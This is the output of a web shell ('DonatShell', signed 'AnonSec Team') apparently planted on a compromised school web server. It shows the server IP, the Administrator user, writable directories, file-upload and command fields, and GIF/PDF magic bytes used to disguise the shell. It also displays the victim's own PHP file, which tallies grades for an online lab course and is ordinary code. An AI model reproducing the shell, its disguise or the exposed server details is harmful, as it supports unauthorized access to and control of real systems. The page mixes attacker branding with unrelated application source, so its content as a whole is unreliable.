GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Class/OnlineLab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Class/OnlineLab/QuestionGradeAll.phpinc
<?
// Class/OnlineLab/QuestionGradeAll.phpinc
// Get the grades for all questions.

if (da()) debugTrackBegin();

if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) $DEBUG_QuestionGradeAll = true;
if ( !isset($DEBUG_QuestionGradeAll) ) $DEBUG_QuestionGradeAll = false;

$QuestionHTML = '';

$Grade = array(); // Grade data.
$Grade['Comments'] = false;
$Grade['Points'] = array(); // Grade point data.
$Grade['Points']['Possible'] = $QuestionPart['Points']['Required'] * $Question['Number']; // Grade points possible.
$Grade['Points']['Graded'] = 0; // Grade points graded so far.
$Grade['Points']['SoFar'] = 0; // Grade points so far.
$Grade['Percentage'] = array(); // Grade percentage data.
$Grade['Percentage']['SoFar'] = 0; // Grade percentage so far.
$Grade['Count'] = array();
$Grade['Count']['Answered'] = 0;          // Count of answers for all questions.
$Grade['Count']['AnsweredCorrectly'] = 0; // Count of correct answers for all questions.
$Grade['Count']['Graded'] = 0;            // Count of graded questions.
$Grade['Count']['Submitted'] = 0;         // Count of submitted questions.
$Grade['Count']['Viewed'] = 0;            // Count of viewed questions.

$GradePart = array(); // Grade data for each question.
$GradePart['Points'] = array();     // Grade points for each question.
$GradePart['Percentage'] = array(); // Grade percentage for each question.

$QuestionAnswer = array(); // Answer data.
$QuestionAnswer['Count'] = array(); // Answer count data.
$QuestionAnswer['Count']['Answered'] = 0;  // Count of questions answered.
$QuestionAnswer['Count']['Graded'] = 0;    // Count of questions graded.
$QuestionAnswer['Count']['Submitted'] = 0; // Count of questions submitted.

$QuestionAnswerPart = array(); // Question answer data for each question part.

#printVar("\$gradeInfo['gradeSubmitted']",$gradeInfo['gradeSubmitted']);
for ( $f_questionNum=1; $f_questionNum<=$Question['Number']; $f_questionNum++ ) {
	// Go through each question and calculate grade and status.
	if ( $f_gradeId ) {
		include('QuestionStatus.phpinc'); // Get question status.
		if ( $gradeanswerInfo[$f_questionNum]['gradeanswerGraded'] ) $Grade['Count']['Graded']++;
		if ( $gradeanswerInfo[$f_questionNum]['gradeanswerSubmitted'] ) $Grade['Count']['Submitted']++;
		if ( $gradeanswerInfo[$f_questionNum]['gradeanswerViewed'] ) $Grade['Count']['Viewed']++;
		if ( $gradeanswerInfo[$f_questionNum]['gradeId'] ) {
			// Question has a grade.
			$QuestionAnswer['Count']['Answered'] ++;
			if ( $gradeanswerInfo[$f_questionNum]['gradeanswerSubmitted'] ) {
				$QuestionAnswer['Count']['Submitted']++; // Grade submitted.
			} else {
				if ( $gradeanswerInfo[$f_questionNum]['gradeanswerComment'] ) $Grade['Comments'] = true; // Grade has comments.
			}
			if ( $gradeanswerInfo[$f_questionNum]['gradeanswerGraded'] ) $QuestionAnswer['Count']['Graded']++;
		}
	} else {
		$gradeanswerInfo[$f_questionNum]['gradeId'] = 0;
	}
	if ( $gradeanswerInfo[$f_questionNum]['gradeId'] ) {
		include('QuestionGrade.phpinc'); // Grade the question answers.
		// Add to grade for all questions.
		#$GradePart[$f_questionNum]['Points'] = $gradeanswerInfo[$f_questionNum]['gradeanswerGrade'];
		if ( $gradeanswerInfo[$f_questionNum]['gradeanswerSubmitted'] || $gradeanswerInfo[$f_questionNum]['gradeanswerGraded'] ) {
			#$Grade['Points']['Graded'] += $QuestionPart['Count']['Required'];
			$Grade['Points']['Graded'] += $GradePart[$f_questionNum]['Points'];
			$Grade['Points']['SoFar'] += $GradePart[$f_questionNum]['Points'];
			$Grade['Count']['Answered'] += $QuestionAnswerPart[$f_questionNum]['Count']['Required'] + $QuestionAnswerPart[$f_questionNum]['Count']['ExtraCredit'];
			$Grade['Count']['AnsweredCorrectly'] += $QuestionAnswerPart[$f_questionNum]['Count']['Correct'];
		}
		#printVar('$gradeanswerInfo[$f_questionNum]',$gradeanswerInfo[$f_questionNum]);
		#printVar('$QuestionAnswerPart[$f_questionNum]['Value']',$QuestionAnswerPart[$f_questionNum]['Value']);
		#printVar('$QuestionAnswerPart[$f_questionNum]['Count']['Correct']',$QuestionAnswerPart[$f_questionNum]['Count']['Correct']);
		if ( !$gradeanswerInfo[$f_questionNum]['gradeanswerGraded'] ) {
			// gradeanswerGraded = 0;
		} else {
			// gradeanswerGraded = 1;
		}
		if ( $gradeanswerInfo[$f_questionNum]['gradeanswerGraded'] || $gradeanswerInfo[$f_questionNum]['gradeanswerViewed'] ) {
			// This question has been graded.
			#gradeanswerGrade
			#gradeanswerInfo['gradeanswerGrade']
			if ( $Grade['Points']['Graded'] ) {
				$Grade['Percentage']['SoFar'] = $Grade['Points']['SoFar'] / $Grade['Points']['Graded'];
			} else {
				$Grade['Percentage']['SoFar'] = 0;
			}
			#$gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded'] = 0;
			$actualPoints = (float)($gradeanswerInfo[$f_questionNum]['gradeanswerGrade'] + $gradeanswerInfo[$f_questionNum]['gradeanswerGradeAdded']);
			$questionStatus = 'Submitted &amp; graded: '.(float)$actualPoints.'/'.$QuestionPart['Points']['Required'].' points ('.gradePercentageClass((int)($GradePart[$f_questionNum]['Percentage'])).') correct.';
			if ( $gradeanswerInfo[$f_questionNum]['gradeanswerViewed'] ) {
				$questionStatus .= ' Correct answers viewed.';
			}
			if ( $gradeanswerInfo[$f_questionNum]['gradeanswerComment'] ) {
				$questionStatus .= ' Comments entered.';
				$questionButtonTask = 'Edit comments';
			} else {
				$questionStatus .= '';
				$questionButtonTask = 'Add comment';
			}
		} else {
			// This question has not been graded.
			$questionStatus = '';
			if ( $QuestionPart['Count']['ExtraCredit'] ) {
				$questionStatusRQ = ' required';
			} else {
				$questionStatusRQ = '';
			}
			if ( $QuestionAnswerPart[$f_questionNum]['Count']['Required'] < $QuestionPart['Count']['Required'] || $QuestionAnswerPart[$f_questionNum]['Count']['ExtraCredit'] < $QuestionPart['Count']['ExtraCredit'] ) {
				if ( $QuestionAnswerPart[$f_questionNum]['Count']['Required'] < $QuestionPart['Count']['Required'] ) {
					$questionStatus .= $QuestionAnswerPart[$f_questionNum]['Count']['Required'].' of ';
				} else {
					$questionStatus .= 'All ';
				}
				$questionStatus .= $QuestionPart['Count']['Required'].$questionStatusRQ.' answer';
				if ( $QuestionPart['Count']['Required'] != 1 ) $questionStatus .= 's';
				$questionStatus .= ' entered. ';
				if ( $QuestionPart['Count']['ExtraCredit'] ) {
					if ( $QuestionAnswerPart[$f_questionNum]['Count']['ExtraCredit'] < $QuestionPart['Count']['ExtraCredit'] ) {
						$questionStatus .= $QuestionAnswerPart[$f_questionNum]['Count']['ExtraCredit'].' of ';
					} else {
						$questionStatus .= 'All ';
					}
					$questionStatus .= $QuestionPart['Count']['ExtraCredit'].' extra credit answer';
					if ( $QuestionPart['Count']['ExtraCredit'] != 1 ) $questionStatus .= 's';
					$questionStatus .= ' entered.';
				}
			} else {
				$questionStatus .= 'All '.$QuestionPart['Count']['Total'].' answer';
				if ( $QuestionPart['Count']['Total'] != 1 ) $questionStatus .= 's';
				$questionStatus .= ' entered.';
			}
			$questionButtonTask = 'Continue';
		}
		if ( !$gradeanswerInfo[$f_questionNum]['gradeanswerSubmitted'] ) {
			if ( !$gradeanswerInfo[$f_questionNum]['gradeanswerComment'] ) {
				$questionStatus .= ' <span class="info">Needs to be submitted and graded.</span>';
			} else {
				if ( $gradeInfo['gradeGraded'] ) {
					$questionStatus .= ' <span class="info">Need to request '.$evaluationType.' '.$evaluationNumber.' be hand graded.</span>';
				} else {
					$questionStatus .= ' <span class="info">Waiting for '.$Instructor['Firstname'].' to hand grade '.$evaluationType.' '.$evaluationNumber.'.</span>';
				}
			}
		}
	} else {
		$questionStatus = '<span class="error">No answers entered.</span>';
		$questionButtonTask = 'Begin';
	}
	//$questionStatus .= printVar('$gradeanswerInfo[$f_questionNum]',$gradeanswerInfo[$f_questionNum],'lf');
	$QuestionHTML .= '
	<tr style="vertical-align:top;">
    <td class="right">'.$f_questionNum.':</td>
		<td class="right"><input type="button" class="small" name="'.$f_questionNum.'" value="'.$questionButtonTask.'"';
		if ( $labOnline ) { $QuestionHTML .= ' onClick="QuestionTask(this);"'; } else { $QuestionHTML .= ' disabled'; }
		$QuestionHTML .= '></td>
		<td>'.$questionStatus.'</td>
	</tr>
';
}

// Set max $Grade['Points']['SoFar'] to $QuestionPart['Points']['Required'] * $Question['Number'].
if ( $Grade['Points']['SoFar'] > $QuestionPart['Points']['Required']*$Question['Number'] ) $Grade['Points']['SoFar'] = $QuestionPart['Points']['Required']*$Question['Number'];
// Calculate grade percentage for all questions.
$Grade['Percentage']['SoFar'] = gradePercentage($Grade['Points']['SoFar'],$QuestionPart['Points']['Required']*$Question['Number']);

if ( $Grade['Points']['Graded'] ) { // Have questions been graded?
	// Some questions have been graded.
	$gradeSoFar = $Grade['Points']['SoFar'] / $Grade['Points']['Graded'];
	$gradeFinal = $Grade['Points']['SoFar'] / $Grade['Points']['Possible'];
} else {
	// No questions have been graded.
	$gradeSoFar = 0;
	$gradeFinal = 0;
}
$gradePercentageSoFar = (int)($gradeSoFar*100+.5);
$gradePercentageSoFarClass = gradePercentageClass($gradePercentageSoFar);
$gradeLetterSoFar = gradeLetterAC($gradePercentageSoFar);
$gradeLetterSoFarClass = gradeClass($gradeLetterSoFar);
$gradePercentageFinal = (int)($gradeFinal*100+.5);
$gradePercentageFinalClass = gradePercentageClass($gradePercentageFinal);
$gradeLetterFinal = gradeLetterAC($gradePercentageFinal);
$gradeLetterFinalClass = gradeClass($gradeLetterFinal);

if ( $DEBUG_QuestionGradeAll ) {
	printVar("\$gradeInfo",$gradeInfo,'/');
	
	printVar('$gradeSoFar',$gradeSoFar,'/');
	printVar('$gradePercentageSoFar',$gradePercentageSoFar,'f');
	printVar('$gradePercentageSoFarClass',$gradePercentageSoFarClass,'ft');
	printVar('$gradeLetterSoFar',$gradeLetterSoFar,'f');
	printVar('$gradeLetterSoFarClass',$gradeLetterSoFarClass,'ft');
	
	printVar('$gradeFinal',$gradeFinal,'/');
	printVar('$gradePercentageFinal',$gradePercentageFinal,'f');
	printVar('$gradePercentageFinalClass',$gradePercentageFinalClass,'ft');
	printVar('$gradeLetterFinal',$gradeLetterFinal,'f');
	printVar('$gradeLetterFinalClass',$gradeLetterFinalClass,'ft');

	printVar("\$Grade",$Grade,'/');
	printVar("\$QuestionAnswer",$QuestionAnswer,'f');

}

if (da()) debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team